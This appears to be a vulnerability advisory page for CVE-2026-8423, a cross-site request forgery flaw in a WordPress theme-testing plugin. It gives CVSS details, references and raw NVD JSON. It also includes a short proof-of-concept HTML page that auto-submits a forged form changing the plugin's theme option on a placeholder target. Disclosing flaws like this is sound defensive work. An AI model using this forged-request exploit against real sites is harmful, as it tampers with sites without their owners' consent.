CVE-2026-8423

Description

The JaviBola Custom Theme Test plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.5. This is due to missing or incorrect nonce validation on the options page. This makes it possible for unauthenticated attackers to change the site's active theme by modifying the jbct_theme option via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

JaviBola Custom Theme Test <= 2.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8423 -->
<!-- This HTML page demonstrates the CSRF vulnerability -->
<!-- The target administrator must be logged in -->
<html>
  <body>
    <form action="http://target-site.com/wp-admin/options.php" method="POST">
      <input type="hidden" name="option_page" value="jbct_options" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="jbct_theme" value="twentysixteen" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Auto-submit the form
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8423
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8423
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8423/
[4] VulDB https://vuldb.com/cve/CVE-2026-8423
[5] https://plugins.trac.wordpress.org/browser/javibola-custom-theme/tags/2.0.5/javibola-custom-theme.php#L40
[6] https://plugins.trac.wordpress.org/browser/javibola-custom-theme/tags/2.0.5/javibola-custom-theme.php#L41
[7] https://plugins.trac.wordpress.org/browser/javibola-custom-theme/tags/2.0.5/javibola-custom-theme.php#L54
[8] https://plugins.trac.wordpress.org/browser/javibola-custom-theme/trunk/javibola-custom-theme.php#L40
[9] https://plugins.trac.wordpress.org/browser/javibola-custom-theme/trunk/javibola-custom-theme.php#L41
[10] https://plugins.trac.wordpress.org/browser/javibola-custom-theme/trunk/javibola-custom-theme.php#L54
[11] https://www.wordfence.com/threat-intel/vulnerabilities/id/68a8a277-2ea6-4d75-b8cd-4d20eb17b3aa?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8423", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:40.260", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JaviBola Custom Theme Test plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.5. This is due to missing or incorrect nonce validation on the options page. This makes it possible for unauthenticated attackers to change the site's active theme by modifying the jbct_theme option via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/javibola-custom-theme/tags/2.0.5/javibola-custom-theme.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/javibola-custom-theme/tags/2.0.5/javibola-custom-theme.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/javibola-custom-theme/tags/2.0.5/javibola-custom-theme.php#L54", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/javibola-custom-theme/trunk/javibola-custom-theme.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/javibola-custom-theme/trunk/javibola-custom-theme.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/javibola-custom-theme/trunk/javibola-custom-theme.php#L54", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68a8a277-2ea6-4d75-b8cd-4d20eb17b3aa?source=cve", "source": "[email protected]"}]}}